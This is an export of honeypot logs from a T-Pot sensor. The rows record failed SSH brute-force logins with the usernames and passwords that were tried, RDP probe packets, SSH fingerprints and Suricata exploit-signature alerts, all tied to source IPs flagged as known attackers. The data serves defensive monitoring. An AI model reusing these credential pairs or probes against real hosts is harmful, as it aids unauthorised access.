28856	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:20:55.912123+03	2021-09-20 14:30:03.378524+03	{"_id": "eAbwAnwBvYTbRNuEAjEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [deluge/1234] failed", "session": "05bf291454a3", "@version": "1", "password": "1234", "username": "deluge", "timestamp": "2021-09-20T11:20:55.912123Z", "@timestamp": "2021-09-20T11:20:55.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28857	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:20:54.667461+03	2021-09-20 14:30:03.379523+03	{"_id": "bQbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:54.667461+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffeb:5c2d", "flow_id": 1466887805742917, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:20:54.667461Z", "@timestamp": "2021-09-20T11:20:54.667Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
28858	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:20:54.668182+03	2021-09-20 14:30:03.380523+03	{"_id": "bgbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:54.668182+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557293572630, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:20:54.668182Z", "@timestamp": "2021-09-20T11:20:54.668Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28859	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:54.89223+03	2021-09-20 14:30:03.381523+03	{"_id": "cwbwAnwBvYTbRNuEATEq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42034, "timestamp": "2021-09-20T11:20:54.892230", "@timestamp": "2021-09-20T11:20:54.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28860	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:20:55.97199+03	2021-09-20 14:30:03.383525+03	{"_id": "eQbwAnwBvYTbRNuEAjEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [riad/riad] failed", "session": "c7ccca328432", "@version": "1", "password": "riad", "username": "riad", "timestamp": "2021-09-20T11:20:55.971990Z", "@timestamp": "2021-09-20T11:20:55.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28861	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:20:57.122556+03	2021-09-20 14:30:03.384525+03	{"_id": "fQbwAnwBvYTbRNuECTHz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c7ccca328432", "@version": "1", "duration": 2.373481273651123, "timestamp": "2021-09-20T11:20:57.122556Z", "@timestamp": "2021-09-20T11:20:57.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28862	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:21:00.260904+03	2021-09-20 14:30:03.385525+03	{"_id": "fwbwAnwBvYTbRNuEEzF3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:59.904864+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 257839479901856, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62206, "dest_port": 3389, "timestamp": "2021-09-20T11:21:00.260904Z", "@timestamp": "2021-09-20T11:21:00.260Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28877	8.23.139.118	109.199.241.180	Suricata	2021-09-20 14:21:24.651443+03	2021-09-20 14:30:03.404523+03	{"_id": "yAbwAnwBvYTbRNuEdTEq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.13.86.3731231109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:21:24.395436+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.23.139.118", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 814469390534828, "payload": "AAAAVC4eAAAAIHRDHBxN2jdFsO+rk3Fxh8JsPBpaYCIrUMPg7LLPhQoM7facZb3wOzrFp5Z+M3MDD0K8dgcZyEJUlgdUhD8OCQp/NomhWvf0QsVeQvIJ2g==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63590, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:21:24.651443Z", "@timestamp": "2021-09-20T11:21:24.651Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... tC..M.7E....qq..l<.Z`\\"+P......\\n....e..;:...~3s..B.v...BT..T.?..\\n.6..Z..B.^B..."}}	1	\N	\N	alert	\N	\N
28863	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:21:00.260904+03	2021-09-20 14:30:03.387524+03	{"_id": "ggbwAnwBvYTbRNuEEzGu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:59.904864+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 257839479901856, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62206, "dest_port": 3389, "timestamp": "2021-09-20T11:21:00.260904Z", "@timestamp": "2021-09-20T11:21:00.260Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28864	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:21:00.260904+03	2021-09-20 14:30:03.388524+03	{"_id": "gwbwAnwBvYTbRNuEFDG0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 62206, "dest_port": 3389, "timestamp": "2021-09-20T11:21:00.260904", "@timestamp": "2021-09-20T11:21:00.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28865	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:21:00.705378+03	2021-09-20 14:30:03.389523+03	{"_id": "iQbwAnwBvYTbRNuEFzFf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:59.904864+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 257839479901856, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62206, "dest_port": 3389, "timestamp": "2021-09-20T11:21:00.705378Z", "@timestamp": "2021-09-20T11:21:00.705Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28866	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:20:54.892252+03	2021-09-20 14:30:03.390524+03	{"_id": "aQbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:20:54.200306+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1992377054400114, "payload": "AAADzAYUXma/H52Ov7sT+SN9uVCwbwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42034, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:20:54.892252Z", "@timestamp": "2021-09-20T11:20:54.892Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......^f........#}.P.o...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28867	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:20:55.115502+03	2021-09-20 14:30:03.391523+03	{"_id": "aAbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 606719673012734, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39974, "dest_port": 22, "timestamp": "2021-09-20T11:20:55.115502Z", "@timestamp": "2021-09-20T11:20:55.115Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28883	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:21:27.888425+03	2021-09-20 14:30:03.412524+03	{"_id": "1wbwAnwBvYTbRNuEgjEg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43364, "dest_port": 22, "timestamp": "2021-09-20T11:21:27.888425", "@timestamp": "2021-09-20T11:21:27.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28868	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:11.354918+03	2021-09-20 14:30:03.393523+03	{"_id": "jgbwAnwBvYTbRNuEPjF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:11.116887+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2108558068402327, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3982, "dest_port": 3389, "timestamp": "2021-09-20T11:21:11.354918Z", "@timestamp": "2021-09-20T11:21:11.354Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
